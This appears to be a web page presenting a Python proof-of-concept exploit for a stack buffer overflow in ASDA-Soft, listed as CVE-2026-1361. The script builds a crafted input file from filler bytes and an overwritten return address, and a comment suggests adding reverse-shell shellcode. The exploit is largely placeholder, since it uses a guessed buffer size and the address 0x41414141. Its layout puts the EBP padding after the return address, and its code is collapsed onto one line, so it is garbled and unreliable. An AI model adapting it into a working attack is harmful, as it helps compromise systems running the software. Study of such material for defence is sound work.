CVE-2026-1361 ASDA-Soft 栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-1361 PoC - ASDA-Soft Stack-based Buffer Overflow # This PoC demonstrates the buffer overflow condition # Usage: Generate malicious input file and open with vulnerable ASDA-Soft import struct import sys def generate_poc(): """ Generate PoC payload for CVE-2026-1361 The vulnerability is a stack-based buffer overflow in ASDA-Soft """ # Buffer size varies - adjust based on target buffer_size = 1024 # Example buffer size # Padding to fill the buffer padding = b'A' * buffer_size # Overwrite saved return address # Address to jump to (e.g., shellcode location or existing function) return_address = struct.pack('<I', 0x41414141) # Placeholder address # Additional padding to reach saved EBP ebp_padding = b'B' * 8 # Construct the payload payload = padding + return_address + ebp_padding # Add shellcode if needed (optional) # shellcode = b'\x90' * 16 + calc.exe or reverse_shell # payload += shellcode return payload def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file>") print("Generates PoC for CVE-2026-1361") sys.exit(1) output_file = sys.argv[1] payload = generate_poc() with open(output_file, 'wb') as f: f.write(payload) print(f"PoC payload written to {output_file}") print(f"Payload size: {len(payload)} bytes") if __name__ == '__main__': main()